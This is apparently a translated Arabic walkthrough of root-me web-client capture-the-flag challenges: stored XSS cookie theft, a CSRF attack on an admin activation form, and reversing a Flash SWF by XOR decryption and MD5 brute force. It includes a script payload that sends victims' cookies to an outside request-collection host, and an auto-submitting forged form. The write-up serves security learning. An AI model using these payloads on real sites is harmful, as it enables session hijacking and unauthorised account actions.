في هذه المقالة ، نقوم باختطاف ملفات تعريف الارتباط من خلال Stored XSS ، والتعامل مع هجوم CSRF وعكس ملف Flash SWF. روابط لمقالات سابقة:
الجزء 1:
الويب - مصادقة جافا سكريبت ، التعتيم والرمز الأصلي. حل المشكلات باستخدام r0ot-mi Web - Client.المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
XSS مخزنة

عند التعيين ، نحتاج إلى الحصول على ملفات تعريف الارتباط للمشرف. نفتح الموقع نرى نموذجًا تحتاج إلى إدخال عنوان ورسالة. دعنا ندخل لنرى كيف يتم عرض مدخلاتنا في النموذج.


هكذا. دعونا نحاول التحقق من XSS. كحمولة ، سأستخدم التنبيه المعتاد.
<script>alert(1);</script>
كما ترون ، تم عرض نافذة التنبيه لنا ، أي أن شفرة جافا سكريبت المضمنة عملت.

نظرًا لأنه يتم تخزين XSS ، فمن الممكن اختطاف ملفات تعريف الارتباط الخاصة بالمستخدمين الآخرين. إذا لم يكن لديك خادم خاص بك في الشبكة العالمية ، فيمكنك استخدام
هذا الموقع .

هنا لدينا عنوان حيث يمكننا مراقبة جميع الطلبات على هذا العنوان. الآن قدم الحمولة القادمة.
<script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script>
عندما يفتح المستخدم صفحة بها هذا الرمز ، سيحاول الوكيل تنزيل الصورة وتنفيذ طلب على هذا العنوان. سوف يستخدم ملف تعريف الارتباط الخاص به كمعلمة. ثم ننظر إلى المعلمة التي جاء بها الطلب - سيكون هذا ملف تعريف الارتباط.

لماذا اختطاف ملفات تعريف الارتباط خطير؟ عن طريق إدخال ملفات تعريف الارتباط لهذا الموقع في متصفحنا ، سوف ندخل الموقع نيابة عن هذا المستخدم ، متخطين عملية المصادقة.
CSRF

عند التعيين ، نحتاج إلى تنشيط حسابك. دعنا نذهب ننظر في الموقع. التقينا بواسطة نموذج ترخيص.

نختار التسجيل ، والتسجيل في الموقع.

قيل لنا أننا سنحصل على حق الوصول الكامل عندما ينشط المشرف حسابنا.


عندما تحاول تحديد المربع بنفسك ، تلقينا رسالة مفادها أننا لسنا مشرفًا.

ولكن يمكننا الاتصال بالمسؤول ، أي أنه سيفتح الصفحة. معنى CSRF هو أن المستخدم ينفذ إجراءات دون معرفة ذلك. وهذا يعني أنه يمكننا إجباره على تقديم نموذج مكتمل بالفعل. دعونا نتحقق مما إذا كان هناك رمز مميز تم تعيينه وفحصه بواسطة الخادم - كحماية ضد هذه الهجمات. الأمر مختلف في كل مرة.

لا يوجد رمز. هذا الشكل من الحمولة سيخرج من هذا النموذج.
<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script>
إليك نموذج مليء بالفعل ببياناتنا ، مع علامة اختيار نشطة. سترسل شفرة جافا سكريبت هذا بعد تحميل الصفحة ، على التوالي ، نيابة عن المسؤول الذي شاهدها.


بعد بعض الوقت ، نقوم بتحديث الصفحة. تم تفعيل حسابنا

فلاش

نحن بحاجة إلى إيجاد رمز صالح. دعنا نفتح الصفحة. تقابلنا نوع من آلية الكود.

دعنا نلقي نظرة على الكود

نرى أنه تم فحص الكود المحول على JS ، والذي نقدمه. يبقى لمعرفة خوارزمية التحويل. أيضا في الكود هناك رابط لملف فرنك سويسري. لنقم بتنزيلها.

نرى أن هذا هو Macromedia Flash مضغوط. لعكس هذه الملفات ، أفضل استخدام JPEXS.

نجد السيناريو الرئيسي.

لنفصلها.

يقوم بتحميل البيانات من برنامج نصي متداخل آخر ، ويعضها بالمفتاح ويرسلها للتنفيذ. دعونا نفعل ذلك. أولا نجد هذه البيانات.

ثم تصدير إلى ملف منفصل.

الآن وكيل لهم مع المفتاح.
f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close()
نحصل على ملف جديد. فتحه في JPEXS.

نجد النص الرئيسي والبدء في التحليل.

منذ لا يزال يتعين عليك كتابة التعليمات البرمجية. سوف نشر أجزاء منه.
but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
هنا نرى رمز كل زر وموقعه في الإحداثيات. هذا سوف يساعدنا على فهم أي زر يحتوي على أي كود.

نتعلم من هذا أن طول الكود يجب أن يكون مساويًا أو أكبر من 12. وأن القيمة النهائية هي تجزئة MD5 من السلسلة المقلوبة.
from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest()

بدلاً من الوصف ، سأقدم هذا الكود بكل بساطة.
code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1]
وبالتالي ، نحن بحاجة إلى فرز خيارات 4 ^ 12 = 16777216. تافه.
from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break

حصلت على كلمة المرور والرمز.
المزيد والمزيد من التعقيد ... يمكنك الانضمام إلينا على
Telegram . فلنجمع مجتمعًا سيكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات والأمن.